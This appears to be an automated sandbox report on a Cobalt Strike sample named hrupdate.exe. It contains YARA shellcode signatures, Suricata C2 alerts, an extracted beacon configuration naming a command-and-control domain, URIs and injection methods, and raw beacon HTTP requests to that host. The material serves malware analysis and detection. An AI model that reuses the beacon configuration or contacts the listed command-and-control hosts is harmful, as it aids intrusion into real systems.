00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x41820:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x4188c:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2872941960.00000000012AD000.00000004.00000020.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0x14504:$s0: 83 C6 02 8B 7D FC B9 40 00 00 00 F3 A4 8B 45 18 50 6A 40 8B 4D FC 51 E8 DD F8 FF FF 83 C4 0C 8B 55 FC 52 8B 45 14 50 8B 4D 08 8B 51 04 FF D2 0x14a9a:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 FC 8B 48 3C 89 4D F8 83 7D F8 40 72 1F 81 7D F8 00 04 00 00 73 16 8B 55 F8 03 55 FC 89 55 F8 8B 45 F8 81 38 50 45 00 00 75 02 EB 0B 8B 4D FC 83 E9 01 89 ...
Process Memory Space: hrupdate.exe PID: 7428	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
Process Memory Space: hrupdate.exe PID: 7428	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Click to see the 141 entries

Suricata Signatures

ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T22:40:10.184763+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49732	TCP
2024-12-19T22:40:12.460101+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49733	TCP
2024-12-19T22:40:14.719895+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49734	TCP
2024-12-19T22:40:16.946092+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49735	TCP
2024-12-19T22:40:19.139463+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49736	TCP
2024-12-19T22:40:21.341756+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49737	TCP
2024-12-19T22:40:23.519951+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49739	TCP
2024-12-19T22:40:25.721653+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49743	TCP
2024-12-19T22:40:27.940593+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49745	TCP
2024-12-19T22:40:30.184707+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49747	TCP
2024-12-19T22:40:32.389565+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49748	TCP
2024-12-19T22:40:34.593434+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49749	TCP
2024-12-19T22:40:37.076058+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49750	TCP
2024-12-19T22:40:39.262084+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49751	TCP
2024-12-19T22:40:41.451628+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49752	TCP
2024-12-19T22:40:43.637480+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49753	TCP
2024-12-19T22:40:45.859708+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49754	TCP
2024-12-19T22:40:48.078863+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49755	TCP
2024-12-19T22:40:50.313429+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49756	TCP
2024-12-19T22:40:52.531888+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49757	TCP
2024-12-19T22:40:54.751135+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49758	TCP
2024-12-19T22:40:57.300211+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49759	TCP
2024-12-19T22:40:59.572951+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49760	TCP
2024-12-19T22:41:01.797499+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49762	TCP
2024-12-19T22:41:04.032576+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49769	TCP
2024-12-19T22:41:06.238003+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49775	TCP
2024-12-19T22:41:08.451619+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49781	TCP
2024-12-19T22:41:10.661934+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49786	TCP
2024-12-19T22:41:12.853433+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49792	TCP
2024-12-19T22:41:15.076878+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49798	TCP
2024-12-19T22:41:17.263569+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49804	TCP
2024-12-19T22:41:19.468276+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49810	TCP
2024-12-19T22:41:21.705590+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49815	TCP
2024-12-19T22:41:24.178894+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49821	TCP
2024-12-19T22:41:26.459077+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49827	TCP
2024-12-19T22:41:29.199615+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49833	TCP
2024-12-19T22:41:31.386751+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49840	TCP
2024-12-19T22:41:33.601036+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49846	TCP
2024-12-19T22:41:35.806119+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49852	TCP
2024-12-19T22:41:38.368416+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49858	TCP
2024-12-19T22:41:40.937992+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49865	TCP
2024-12-19T22:41:43.149956+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49871	TCP
2024-12-19T22:41:45.375076+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49877	TCP
2024-12-19T22:41:47.592163+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49882	TCP
2024-12-19T22:41:49.788480+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49888	TCP
2024-12-19T22:41:51.995130+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49894	TCP
2024-12-19T22:41:54.188389+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49901	TCP
2024-12-19T22:41:56.390667+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49907	TCP
2024-12-19T22:41:58.592336+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49913	TCP
2024-12-19T22:42:00.970693+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49919	TCP
2024-12-19T22:42:03.186879+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49926	TCP
2024-12-19T22:42:05.412463+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49932	TCP
2024-12-19T22:42:07.800162+0100	2033009	1	Malware Command and Control Activity Detected	3.79.209.76	443	192.168.2.4	49938	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T22:40:04.711841+0100	2803305	3	Unknown Traffic	192.168.2.4	49730	3.79.209.76	80	TCP
2024-12-19T22:40:06.615659+0100	2803305	3	Unknown Traffic	192.168.2.4	49731	3.79.209.76	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000003.1737791029.00000000030D0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTPS"], "Port": 443, "SleepTime": 15000, "MaxGetSize": 2801745, "Jitter": 37, "C2Server": "www.hrtraining.ro,/rss/portallogin-gettask.html", "HttpPostUri": "/rss/portallogin-sendlogin.html", "Malleable_C2_Instructions": ["Remove 1522 bytes from the end", "Remove 84 bytes from the beginning", "Remove 3931 bytes from the beginning", "Base64 URL-safe decode", "XOR mask w/ random key"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\gpupdate.exe", "Spawnto_x64": "%windir%\\sysnative\\gpupdate.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 309948737, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 17500, "ProcInject_PrependAppend_x86": ["kJA=", "Empty"], "ProcInject_PrependAppend_x64": ["kJA=", "Empty"], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "NtMapViewOfSection", "bUsesCookies": "True", "HostHeader": ""}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: hrupdate.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\hrupdate.exe

Code function: 0_2_04FD4173 CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,

0_2_04FD4173

Source: hrupdate.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 3.79.209.76:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: hrupdate.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb source: hrupdate.exe
Source:	Binary string: C:\Users\dan\source\repos\hrtraining\Release\hrupdate.pdb%% source: hrupdate.exe

Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FCE544 _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_04FCE544
Source: C:\Users\user\Desktop\hrupdate.exe	Code function: 0_2_04FC8839 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_04FC8839

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49736
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49760
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49735
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49748
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49762
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49752
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49743
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49749
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49739
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49758
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49750
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49734
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49733
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49827
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49757
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49747
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49804
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49852
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49751
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49781
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49745
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49810
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49815
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49737
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49846
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49775
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49759
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49786
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49894
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49840
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49769
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49756
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49938
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49877
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49865
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49901
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49882
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49926
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49798
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49792
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49871
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49932
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49907
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49833
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49888
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49919
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49821
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49913
Source: Network traffic	Suricata IDS: 2033009 - Severity 1 - ET MALWARE Cobalt Strike Malleable C2 JQuery Custom Profile Response : 3.79.209.76:443 -> 192.168.2.4:49858

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.hrtraining.ro

Source: global traffic	HTTP traffic detected: GET /trakingu/user HTTP/1.0Host: www.hrtraining.ro
Source: global traffic	HTTP traffic detected: GET /trainingcheck_v5498 HTTP/1.0Host: www.hrtraining.ro

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49731 -> 3.79.209.76:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49730 -> 3.79.209.76:80

Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /rss/portallogin-gettask.html HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Host: www.flntp.roAccept-Encoding: gzip, deflateCookie: __cfduid=Wo3cCq8dWybg_lLRnibZIHFJdR6wuj1FBTzJrmI0FGDL9pbOT8W-hVcxENwiCJeq9lP_4pci3bqqo4ccebIlHQRxWvLN3G1CxdocdXDWz5E7P_N2aB0CU6jI6cwRnkNCERqjnJ_dUwGjELj9A5K059xw6CQPDEvDoSDd3OJUj0QUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveCache-Control: no-cache
